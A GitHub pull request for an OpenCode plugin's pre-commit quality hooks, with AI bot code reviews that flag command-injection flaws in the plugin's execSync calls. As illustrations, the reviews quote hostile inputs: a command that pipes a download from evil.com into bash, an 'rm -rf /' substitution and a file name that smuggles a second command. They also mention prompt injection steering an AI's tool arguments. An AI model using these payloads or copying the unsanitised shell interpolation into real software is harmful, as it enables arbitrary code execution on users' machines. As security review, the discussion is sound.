t008.3: Quality hooks (pre-commit) for OpenCode plugin#1150
t008.3: Quality hooks (pre-commit) for OpenCode plugin#1150marcusquinn merged 2 commits intomainfrom
Conversation
Enhanced Phase 3 of the aidevops-opencode plugin with full pre-commit quality pipeline matching pre-commit-hook.sh checks: - Shell scripts (.sh): ShellCheck, return statement validation, positional parameter convention check, secrets scanning - Markdown (.md): MD031 blank lines around code blocks, trailing whitespace - All files: secrets pattern detection (API keys, tokens, private keys) - Post-tool quality metrics logging and pattern tracker integration - New tools: aidevops_quality_check (run pipeline on files or staged), aidevops_install_hooks (install/manage git pre-commit hooks) - Quality event logging to ~/.aidevops/logs/quality-hooks.log Decision: Implemented inline quality checks rather than shelling out to pre-commit-hook.sh for each Write/Edit — avoids process spawn overhead on every file operation while maintaining the same validation coverage.
WalkthroughThe PR introduces a comprehensive quality gate system for the OpenCode AI DevOps plugin, adding multi-stage validation pipelines for shell scripts and markdown files. New public tools ( Changes
Sequence DiagramsequenceDiagram
participant Editor as Edit Request
participant Detector as File Type<br/>Detector
participant Pipeline as Quality<br/>Pipeline
participant Validators as Validators<br/>(Shell/MD/Secrets)
participant Logger as Quality<br/>Logger
participant Exec as Tool Execution
Editor->>Detector: Pre-tool trigger with file path
Detector->>Pipeline: Determine file type (.sh/.md/other)
alt Shell Script (.sh)
Pipeline->>Validators: Run Shell Quality Pipeline
Validators->>Validators: ShellCheck
Validators->>Validators: Validate return statements
Validators->>Validators: Check positional parameters
Validators->>Validators: Scan for secrets
else Markdown (.md)
Pipeline->>Validators: Run Markdown Quality Pipeline
Validators->>Validators: Check MD031 (blank lines)
Validators->>Validators: Validate trailing whitespace
Validators->>Validators: Scan for secrets
else Other with Content
Pipeline->>Validators: Run secrets scan
end
Validators->>Logger: Emit results & warnings
Logger->>Logger: Persist to quality-hooks.log
Logger->>Exec: Complete (non-blocking)
Exec->>Editor: Proceed with tool execution
Estimated code review effort🎯 4 (Complex) | ⏱️ ~45 minutes Possibly related PRs
Poem
🚥 Pre-merge checks | ✅ 3✅ Passed checks (3 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing touches
🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
🔍 Code Quality Report�[0;35m[MONITOR]�[0m Code Review Monitoring Report �[0;34m[INFO]�[0m Latest Quality Status: �[0;34m[INFO]�[0m Recent monitoring activity: 📈 Current Quality Metrics
Generated on: Wed Feb 11 19:51:33 UTC 2026 Generated by AI DevOps Framework Code Review Monitoring |
Summary of ChangesHello @marcusquinn, I'm Gemini Code Assist1! I'm currently reviewing this pull request and will post my feedback shortly. In the meantime, here's a summary to help you and other reviewers quickly get up to speed! This pull request significantly expands the aidevops-opencode plugin's capabilities by integrating a robust set of quality and security checks directly into the development workflow. It introduces automated validation for shell scripts and markdown files, along with proactive secrets detection, ensuring that code adheres to defined standards and remains secure from the point of creation. The changes also provide new tools for developers to manually trigger these checks and manage their Git hooks, fostering a more quality-driven development environment. Highlights
Changelog
Activity
Using Gemini Code AssistThe full guide for Gemini Code Assist can be found on our documentation page, here are some quick tips. Invoking Gemini You can request assistance from Gemini at any point by creating a comment using either
Customization To customize Gemini Code Assist for GitHub experience, repository maintainers can create a configuration file and/or provide a custom code review style guide (such as PEP-8 for Python) by creating and adding files to a Limitations & Feedback Gemini Code Assist may make mistakes. Please leave feedback on any instances where its feedback is incorrect or counter productive. You can react with 👍 and 👎 on @gemini-code-assist comments. If you're interested in giving your feedback about your experience with Gemini Code Assist for Github and other Google products, sign up here. You can also get AI-powered code generation, chat, as well as code reviews directly in the IDE at no cost with the Gemini Code Assist IDE Extension. Footnotes
|
|
![gemini-code-assist[bot]](https://avatars.githubusercontent.com/in/956858?s=60&v=4){kind=small}
There was a problem hiding this comment.
Code Review
This pull request introduces a comprehensive quality pipeline for shell scripts and markdown files, executed as a pre-tool hook in OpenCode, enhancing performance by moving checks inline into JavaScript. The changes include validation for shell script return statements, positional parameter usage, secrets scanning, and markdown linting, along with two new helper tools: aidevops_quality_check and aidevops_install_hooks. However, it introduces several command injection vulnerabilities in the new quality hooks and tools, allowing for arbitrary code execution if an attacker influences tool arguments or execution titles. Immediate remediation is required by switching to safe execution methods that avoid shell interpretation of untrusted data. Additionally, there is a bug in the return statement validation logic that could lead to false negatives and a minor violation of the shell scripting style guide regarding error stream suppression.
| const result = execSync( | ||
| `bash "${helperScript}" ${action}`, |
There was a problem hiding this comment.
The action parameter is directly concatenated into a shell command string passed to execSync. Since action comes from the tool arguments provided by the AI, an attacker could use prompt injection to execute arbitrary shell commands on the system. To remediate this, use an allow-list of permitted actions and avoid direct shell execution by passing arguments as an array to execFileSync or similar.
| run( | ||
| `bash "${patternTracker}" record "${patternType}" "git operation: ${title.substring(0, 100)}" --tag "quality-hook" 2>/dev/null`, | ||
| 5000, | ||
| ); |
There was a problem hiding this comment.
The primary concern here is a command injection vulnerability. The title of a tool execution is embedded directly into a shell command string. If an attacker can influence this title (e.g., via a malicious commit message), they can execute arbitrary code on the host system. This is a critical security flaw. Additionally, the use of 2>/dev/null to suppress stderr violates the repository's style guide (Rule #50), as it can hide important errors and make debugging difficult. While the style guide issue is present, the command injection is a more severe problem that requires immediate attention. Sanitize the title string before embedding it in any shell command, and consider removing the 2>/dev/null suppression.
| const shellcheckResult = run( | ||
| `shellcheck -x -S warning "${filePath}" 2>&1`, | ||
| 10000, | ||
| ); |
There was a problem hiding this comment.
The filePath parameter is used in a shell command string passed to the run function. While the path is wrapped in double quotes, it is not escaped. A malicious filename containing a double quote and shell metacharacters (e.g., foo.sh"; touch /tmp/pwned; ") could lead to arbitrary command execution. Consider sanitizing the filename or using a safe execution method that does not involve a shell.
| if (/\breturn\s+[0-9]/.test(trimmed) || /\breturn\s*$/.test(trimmed)) { | ||
| hasReturn = true; | ||
| } |
There was a problem hiding this comment.
The regular expression used to detect return statements is too restrictive. It only matches return <number> or return at the end of a line, which will fail to detect other valid forms like return $? or return "$some_var". This could lead to false negatives where valid functions are flagged as missing a return statement.
To correctly enforce the style guide rule, the check should be broadened to detect any return keyword.
| if (/\breturn\s+[0-9]/.test(trimmed) || /\breturn\s*$/.test(trimmed)) { | |
| hasReturn = true; | |
| } | |
| if (/\breturn\b/.test(trimmed)) { | |
| hasReturn = true; | |
| } |
References
- Rule fix: clarify pre-edit check is only for agents with edit tools #12 states that all functions must have explicit
returnstatements, but does not restrict the value being returned. The current implementation is too strict and doesn't account for all valid return patterns. (link)
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 6
🤖 Fix all issues with AI agents
In @.agents/plugins/opencode-aidevops/index.mjs:
- Around line 1037-1057: The execute method currently interpolates the
user-controlled value args.action (or args) into a shell string and calls
execSync with backticks, causing command injection; fix it by validating action
against a strict allowlist of expected actions (e.g., "install", "uninstall",
"enable", "disable") before use, and avoid shell interpretation by invoking the
helper script with an argv array (use execFileSync/spawnSync semantics) instead
of a concatenated shell command; update the code paths around execute,
helperScript, SCRIPTS_DIR and the execSync call to perform the allowlist check,
reject or throw on invalid actions, and call the script with the validated
action as a separate argument so untrusted input cannot inject shell
metacharacters.
- Around line 531-542: The trailing-whitespace loop uses the stale inCodeBlock
variable from the earlier MD031 pass, so its per-line code-fence state is wrong;
fix by tracking code-block state inside the trailing whitespace loop (e.g.,
introduce a local inCodeBlock2 and toggle it on encountering code fence patterns
when iterating lines) or merge the MD031 and trailing-whitespace checks into one
pass so the same inCodeBlock is updated per-line; ensure you still update
trailingCount, sections, and totalViolations only when the per-line
in-code-block flag is false.
- Around line 647-652: The code builds a shell command by interpolating
title.substring(0, 100) into run(...) which creates a command-injection risk;
fix by avoiding direct shell interpolation of the commit title used with
patternTracker and run: either invoke the pattern-tracker with an argument array
(use a spawn/exec variant that accepts argv instead of a single shell string) or
sanitize/quote the title before interpolation (escape or remove characters like
`;`, `&`, `` ` ``, `$(`, newlines, and quotes) and still truncate via
title.substring(0,100)); update the call site that references patternTracker,
run(...), patternType and title.substring(0,100) accordingly so the title is
passed safely.
- Around line 311-321: In validateReturnStatements, stop fragile character-level
brace counting (inFunction, braceDepth) and instead strip/ignore quoted strings,
comments (lines starting with # or trailing #), and ${...} parameter expansions
from each line before counting braces so braces inside strings/expansions don't
affect braceDepth; update the loop that processes trimmed lines (variable
trimmed) to first remove strings (single and double quoted), remove inline
comments and remove ${...} segments with a simple regex, then count "{" and "}"
on the cleaned line to track function boundaries; also replace the narrow return
regex with a broad check like /\breturn\b/ to set hasReturn so any form of
return (e.g. return $?, return "$(code)", return $(cmd)) is detected.
- Around line 580-608: The quality pipelines are running against disk files
instead of the pending write (output.args?.content), so update the logic around
runShellQualityPipeline and runMarkdownQualityPipeline to operate on the pending
content: pass output.args?.content (or a new helper like fileContent) into the
pipelines or add new variants (e.g., runShellQualityPipelineFromContent,
runMarkdownQualityPipelineFromContent) so they validate the incoming edit/new
file rather than reading from disk; also ensure the secrets scan that currently
inspects output.args?.content is executed for .md files before the early return
(i.e., move or duplicate the secrets check to run on the pending markdown
content) so markdown files with secrets are flagged.
- Around line 1059-1079: The fallback currently only implements the "install"
branch (see action, preCommitHook, gitHookDir, hookDest) but the generic error
message still advertises "install, uninstall, status, test"; either implement
explicit handling for "uninstall"/"status"/"test" in the fallback or change the
fallback error text to accurately state that only "install" is supported when
install-hooks-helper.sh is missing. Update the code path that returns the
generic message so it checks action and returns a clear, specific message (e.g.,
"Only 'install' is supported by fallback; run aidevops update to restore full
install-hooks-helper.sh functionality") or implement the missing branches to
perform uninstall/status/test logic.
🧹 Nitpick comments (3)
.agents/plugins/opencode-aidevops/index.mjs (3)
255-263: Consider lazy-initializing the log directory instead of creating it on every call.
mkdirSync(LOGS_DIR, { recursive: true })is called on every log write. While safe, this is redundant I/O on every quality event. A simple module-level flag or one-time init would reduce overhead on the hot path.Also worth noting: there's no log rotation or size cap on
quality-hooks.log. Over time on active repos, this file will grow unbounded.♻️ Lazy-init the log directory
+let logsInitialized = false; + function qualityLog(level, message) { try { - mkdirSync(LOGS_DIR, { recursive: true }); + if (!logsInitialized) { + mkdirSync(LOGS_DIR, { recursive: true }); + logsInitialized = true; + } const timestamp = new Date().toISOString(); appendFileSync(QUALITY_LOG, `[${timestamp}] [${level}] ${message}\n`); } catch { + logsInitialized = false; // retry dir creation on next call // Logging should never break the hook } }
356-392: Convention check looks reasonable; minor note on${N}brace syntax.The regex
/\$[1-9]/won't match the brace form${1},${2}, etc. If your codebase uses those, they'll slip through. Similarly,$10and above (which bash interprets as$1+0) aren't covered by[1-9]alone but that's consistent with bash semantics.Not critical for a convention linter — just noting the gap.
638-666: Success/failure heuristic based on string matching is fragile.Lines 647 and 661 use
outputText.includes("error")to determine success/failure. Strings like"0 errors found","error handling added", or"corrected previous error"in commit messages or linter output would cause false negatives. This is advisory logging so it won't break anything, but the pattern-tracker will record inaccurate SUCCESS/FAILURE signals.♻️ Consider checking exit codes or more precise patterns
For git operations, checking for a non-empty
outputTextwithoutfatal:prefix would be more reliable. For linter runs, check for exit-code signals or structured output markers if available.
| if (inFunction) { | ||
| // Track brace depth | ||
| for (const ch of trimmed) { | ||
| if (ch === "{") braceDepth++; | ||
| else if (ch === "}") braceDepth--; | ||
| } | ||
|
|
||
| // Check for return statement | ||
| if (/\breturn\s+[0-9]/.test(trimmed) || /\breturn\s*$/.test(trimmed)) { | ||
| hasReturn = true; | ||
| } |
There was a problem hiding this comment.
Brace counting is fragile and return-statement regex has gaps.
Two issues in validateReturnStatements:
-
Brace counting (Line 313-316): Iterating characters counts braces inside strings, heredocs,
${parameter_expansions}, case statements, and comments. In shell scripts,${var:-default}alone adds 2 braces. This will mistrack function boundaries, producing false positives/negatives. -
Return regex (Line 319): Only matches
return <digit>and barereturn. It misses common shell patterns likereturn $?,return "$exit_code", andreturn $(func).
🔧 Broaden the return statement pattern
- if (/\breturn\s+[0-9]/.test(trimmed) || /\breturn\s*$/.test(trimmed)) {
+ if (/\breturn\b/.test(trimmed)) {
hasReturn = true;
}A broader match on \breturn\b is simpler and catches all return forms. The goal is to detect presence of any return statement, not to validate its operand.
🤖 Prompt for AI Agents
In @.agents/plugins/opencode-aidevops/index.mjs around lines 311 - 321, In
validateReturnStatements, stop fragile character-level brace counting
(inFunction, braceDepth) and instead strip/ignore quoted strings, comments
(lines starting with # or trailing #), and ${...} parameter expansions from each
line before counting braces so braces inside strings/expansions don't affect
braceDepth; update the loop that processes trimmed lines (variable trimmed) to
first remove strings (single and double quoted), remove inline comments and
remove ${...} segments with a simple regex, then count "{" and "}" on the
cleaned line to track function boundaries; also replace the narrow return regex
with a broad check like /\breturn\b/ to set hasReturn so any form of return
(e.g. return $?, return "$(code)", return $(cmd)) is detected.
|
|
||
| // Check for trailing whitespace (common quality issue) | ||
| let trailingCount = 0; | ||
| for (let i = 0; i < lines.length; i++) { | ||
| if (/\s+$/.test(lines[i]) && !inCodeBlock) { | ||
| trailingCount++; | ||
| } | ||
| } | ||
| if (trailingCount > 0) { | ||
| sections.push(` Trailing whitespace on ${trailingCount} line${trailingCount !== 1 ? "s" : ""}`); | ||
| totalViolations += trailingCount; | ||
| } |
There was a problem hiding this comment.
Bug: inCodeBlock is stale in the trailing-whitespace loop.
The trailing-whitespace check on Line 535 uses inCodeBlock, but this variable holds its final value from the MD031 loop above (Line 511-530), not the per-line state. Result:
- If code fences are balanced →
inCodeBlock === false→ trailing whitespace inside code blocks is incorrectly flagged. - If code fences are unbalanced →
inCodeBlock === true→ no lines are checked for trailing whitespace.
🐛 Fix: track code-block state in the trailing-whitespace loop too
// Check for trailing whitespace (common quality issue)
let trailingCount = 0;
+ let inCodeBlock2 = false;
for (let i = 0; i < lines.length; i++) {
- if (/\s+$/.test(lines[i]) && !inCodeBlock) {
+ if (/^```/.test(lines[i].trim())) {
+ inCodeBlock2 = !inCodeBlock2;
+ }
+ if (/\s+$/.test(lines[i]) && !inCodeBlock2) {
trailingCount++;
}
}Alternatively, merge both checks into a single pass to avoid the duplication.
📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| // Check for trailing whitespace (common quality issue) | |
| let trailingCount = 0; | |
| for (let i = 0; i < lines.length; i++) { | |
| if (/\s+$/.test(lines[i]) && !inCodeBlock) { | |
| trailingCount++; | |
| } | |
| } | |
| if (trailingCount > 0) { | |
| sections.push(` Trailing whitespace on ${trailingCount} line${trailingCount !== 1 ? "s" : ""}`); | |
| totalViolations += trailingCount; | |
| } | |
| // Check for trailing whitespace (common quality issue) | |
| let trailingCount = 0; | |
| let inCodeBlock2 = false; | |
| for (let i = 0; i < lines.length; i++) { | |
| if (/^ |
🤖 Prompt for AI Agents
In @.agents/plugins/opencode-aidevops/index.mjs around lines 531 - 542, The
trailing-whitespace loop uses the stale inCodeBlock variable from the earlier
MD031 pass, so its per-line code-fence state is wrong; fix by tracking
code-block state inside the trailing whitespace loop (e.g., introduce a local
inCodeBlock2 and toggle it on encountering code fence patterns when iterating
lines) or merge the MD031 and trailing-whitespace checks into one pass so the
same inCodeBlock is updated per-line; ensure you still update trailingCount,
sections, and totalViolations only when the per-line in-code-block flag is
false.
| if (filePath.endsWith(".sh")) { | ||
| const { totalViolations, report } = runShellQualityPipeline(filePath); | ||
| if (totalViolations > 0) { | ||
| console.error( | ||
| `[aidevops] Quality gate: ${totalViolations} issue${totalViolations !== 1 ? "s" : ""} in ${filePath}:\n${report}`, | ||
| ); | ||
| qualityLog( | ||
| "WARN", | ||
| `Shell quality: ${totalViolations} violations in ${filePath}`, | ||
| ); | ||
| } else { | ||
| qualityLog("INFO", `Shell quality: PASS for ${filePath}`); | ||
| } | ||
| return; | ||
| } | ||
|
|
||
| // Run ShellCheck if available | ||
| const result = run( | ||
| `shellcheck -x -S warning "${filePath}" 2>&1`, | ||
| 10000, | ||
| ); | ||
| // Markdown quality pipeline | ||
| if (filePath.endsWith(".md")) { | ||
| const { totalViolations, report } = runMarkdownQualityPipeline(filePath); | ||
| if (totalViolations > 0) { | ||
| console.error( | ||
| `[aidevops] Markdown quality: ${totalViolations} issue${totalViolations !== 1 ? "s" : ""} in ${filePath}:\n${report}`, | ||
| ); | ||
| qualityLog( | ||
| "WARN", | ||
| `Markdown quality: ${totalViolations} violations in ${filePath}`, | ||
| ); | ||
| } | ||
| return; |
There was a problem hiding this comment.
Shell/Markdown quality checks run against stale disk content, not the pending write.
runShellQualityPipeline and runMarkdownQualityPipeline read the file from disk, but toolExecuteBefore fires before the Write/Edit tool executes. For a new file, nothing exists on disk yet — all checks silently pass. For an edit, checks validate the old content, not the incoming changes. Compare with the secrets scan on Line 612-613, which correctly inspects output.args?.content.
Additionally, .md files skip the secrets scan entirely due to the early return on Line 608. A markdown file containing an API key won't be flagged.
🔧 Run secrets scan on .md files before returning
// Markdown quality pipeline
if (filePath.endsWith(".md")) {
const { totalViolations, report } = runMarkdownQualityPipeline(filePath);
if (totalViolations > 0) {
console.error(
`[aidevops] Markdown quality: ${totalViolations} issue${totalViolations !== 1 ? "s" : ""} in ${filePath}:\n${report}`,
);
qualityLog(
"WARN",
`Markdown quality: ${totalViolations} violations in ${filePath}`,
);
}
- return;
+ // Also run secrets scan on markdown content
+ const writeContent = output.args?.content || output.args?.newString || "";
+ if (writeContent) {
+ const secretResult = scanForSecrets(filePath, writeContent);
+ if (secretResult.violations > 0) {
+ console.error(
+ `[aidevops] SECURITY: ${secretResult.violations} potential secret${secretResult.violations !== 1 ? "s" : ""} in ${filePath}:\n${secretResult.details.join("\n")}`,
+ );
+ qualityLog(
+ "ERROR",
+ `Secrets detected: ${secretResult.violations} in ${filePath}`,
+ );
+ }
+ }
+ return;
}🤖 Prompt for AI Agents
In @.agents/plugins/opencode-aidevops/index.mjs around lines 580 - 608, The
quality pipelines are running against disk files instead of the pending write
(output.args?.content), so update the logic around runShellQualityPipeline and
runMarkdownQualityPipeline to operate on the pending content: pass
output.args?.content (or a new helper like fileContent) into the pipelines or
add new variants (e.g., runShellQualityPipelineFromContent,
runMarkdownQualityPipelineFromContent) so they validate the incoming edit/new
file rather than reading from disk; also ensure the secrets scan that currently
inspects output.args?.content is executed for .md files before the early return
(i.e., move or duplicate the secrets check to run on the pending markdown
content) so markdown files with secrets are flagged.
| const success = !outputText.includes("error") && !outputText.includes("fatal"); | ||
| const patternType = success ? "SUCCESS_PATTERN" : "FAILURE_PATTERN"; | ||
| run( | ||
| `bash "${patternTracker}" record "${patternType}" "git operation: ${title.substring(0, 100)}" --tag "quality-hook" 2>/dev/null`, | ||
| 5000, | ||
| ); |
There was a problem hiding this comment.
Command injection risk via title in pattern-tracker shell call.
On Line 650, title.substring(0, 100) is interpolated into a shell command string without escaping. If the git commit message (which becomes part of the title) contains shell metacharacters like `$(rm -rf /)` or "; malicious_cmd; ", they'll be interpreted by the shell.
🔒 Sanitize the title before interpolation
+ const safeTitle = title.substring(0, 100).replace(/[^a-zA-Z0-9 _\-.:\/]/g, "_");
run(
- `bash "${patternTracker}" record "${patternType}" "git operation: ${title.substring(0, 100)}" --tag "quality-hook" 2>/dev/null`,
+ `bash "${patternTracker}" record "${patternType}" "git operation: ${safeTitle}" --tag "quality-hook" 2>/dev/null`,
5000,
);🤖 Prompt for AI Agents
In @.agents/plugins/opencode-aidevops/index.mjs around lines 647 - 652, The code
builds a shell command by interpolating title.substring(0, 100) into run(...)
which creates a command-injection risk; fix by avoiding direct shell
interpolation of the commit title used with patternTracker and run: either
invoke the pattern-tracker with an argument array (use a spawn/exec variant that
accepts argv instead of a single shell string) or sanitize/quote the title
before interpolation (escape or remove characters like `;`, `&`, `` ` ``, `$(`,
newlines, and quotes) and still truncate via title.substring(0,100)); update the
call site that references patternTracker, run(...), patternType and
title.substring(0,100) accordingly so the title is passed safely.
| async execute(args) { | ||
| const action = args.action || args || "install"; | ||
| const helperScript = join(SCRIPTS_DIR, "install-hooks-helper.sh"); | ||
|
|
||
| // Try install-hooks-helper.sh first (Claude Code hooks) | ||
| if (existsSync(helperScript)) { | ||
| try { | ||
| const result = execSync( | ||
| `bash "${helperScript}" ${action}`, | ||
| { | ||
| encoding: "utf-8", | ||
| timeout: 15000, | ||
| stdio: ["pipe", "pipe", "pipe"], | ||
| }, | ||
| ); | ||
| return result.trim(); | ||
| } catch (err) { | ||
| const cmdOutput = (err.stdout || "") + (err.stderr || ""); | ||
| return `Hook ${action} failed:\n${cmdOutput.trim()}`; | ||
| } | ||
| } |
There was a problem hiding this comment.
Command injection: action is passed unsanitized to shell execution.
On Line 1045, action is interpolated directly into a shell command without validation or quoting:
`bash "${helperScript}" ${action}`Since action comes from args.action || args, an LLM or caller could pass install; curl evil.com/x | bash and it would execute arbitrary commands. The static analysis tool correctly flagged this as a command injection vulnerability.
🔒 Validate action against an allowlist
async execute(args) {
const action = args.action || args || "install";
+ const allowedActions = ["install", "uninstall", "status", "test"];
+ if (!allowedActions.includes(action)) {
+ return `Invalid action "${action}". Allowed: ${allowedActions.join(", ")}`;
+ }
const helperScript = join(SCRIPTS_DIR, "install-hooks-helper.sh");🧰 Tools
🪛 GitHub Check: Codacy Static Code Analysis
[failure] 1045-1045: .agents/plugins/opencode-aidevops/index.mjs#L1045
Detected calls to child_process from a function argument args. This could lead to a command injection if the input is user controllable.
🤖 Prompt for AI Agents
In @.agents/plugins/opencode-aidevops/index.mjs around lines 1037 - 1057, The
execute method currently interpolates the user-controlled value args.action (or
args) into a shell string and calls execSync with backticks, causing command
injection; fix it by validating action against a strict allowlist of expected
actions (e.g., "install", "uninstall", "enable", "disable") before use, and
avoid shell interpretation by invoking the helper script with an argv array (use
execFileSync/spawnSync semantics) instead of a concatenated shell command;
update the code paths around execute, helperScript, SCRIPTS_DIR and the execSync
call to perform the allowlist check, reject or throw on invalid actions, and
call the script with the validated action as a separate argument so untrusted
input cannot inject shell metacharacters.
| // Fallback: install git pre-commit hook directly | ||
| if (action === "install") { | ||
| const preCommitHook = join(SCRIPTS_DIR, "pre-commit-hook.sh"); | ||
| if (!existsSync(preCommitHook)) { | ||
| return "pre-commit-hook.sh not found — run aidevops update"; | ||
| } | ||
| const gitHookDir = run("git rev-parse --git-dir 2>/dev/null"); | ||
| if (!gitHookDir) { | ||
| return "Not in a git repository — cannot install pre-commit hook"; | ||
| } | ||
| const hookDest = join(gitHookDir, "hooks", "pre-commit"); | ||
| try { | ||
| execSync(`cp "${preCommitHook}" "${hookDest}" && chmod +x "${hookDest}"`, { | ||
| encoding: "utf-8", | ||
| timeout: 5000, | ||
| }); | ||
| return `Git pre-commit hook installed at ${hookDest}`; | ||
| } catch (err) { | ||
| return `Failed to install hook: ${err.message}`; | ||
| } | ||
| } |
There was a problem hiding this comment.
Fallback hook installer only handles install — other actions silently fall through to the error message.
When install-hooks-helper.sh is not found, only the "install" action has a fallback implementation (Line 1060-1078). Actions "uninstall", "status", and "test" fall through to the generic error on Line 1081. This is fine as a first iteration, but the returned message says "Available actions: install, uninstall, status, test" which is misleading since only install actually works without the helper.
🔧 Clarify the fallback message
- return `install-hooks-helper.sh not found. Available actions: install, uninstall, status, test`;
+ return `install-hooks-helper.sh not found. Only "install" is available as a fallback — run aidevops update for full hook management.`;🧰 Tools
🪛 GitHub Check: Codacy Static Code Analysis
[failure] 1069-1069: .agents/plugins/opencode-aidevops/index.mjs#L1069
Detected possible user input going into a path.join or path.resolve function.
[failure] 1071-1071: .agents/plugins/opencode-aidevops/index.mjs#L1071
Detected calls to child_process from a function argument cmd. This could lead to a command injection if the input is user controllable.
🤖 Prompt for AI Agents
In @.agents/plugins/opencode-aidevops/index.mjs around lines 1059 - 1079, The
fallback currently only implements the "install" branch (see action,
preCommitHook, gitHookDir, hookDest) but the generic error message still
advertises "install, uninstall, status, test"; either implement explicit
handling for "uninstall"/"status"/"test" in the fallback or change the fallback
error text to accurately state that only "install" is supported when
install-hooks-helper.sh is missing. Update the code path that returns the
generic message so it checks action and returns a clear, specific message (e.g.,
"Only 'install' is supported by fallback; run aidevops update to restore full
install-hooks-helper.sh functionality") or implement the missing branches to
perform uninstall/status/test logic.
1 participant
Summary
aidevops_quality_check(run pipeline on files or staged) andaidevops_install_hooks(install/manage git pre-commit hooks)~/.aidevops/logs/quality-hooks.logfor audit trailDesign Decision
Implemented inline quality checks (JavaScript) rather than shelling out to
pre-commit-hook.shfor each Write/Edit operation. This avoids process spawn overhead on every file operation while maintaining the same validation coverage as the shell-based pipeline.Testing
node --check+ dynamic import test)Ref #1096
Summary by CodeRabbit
Release Notes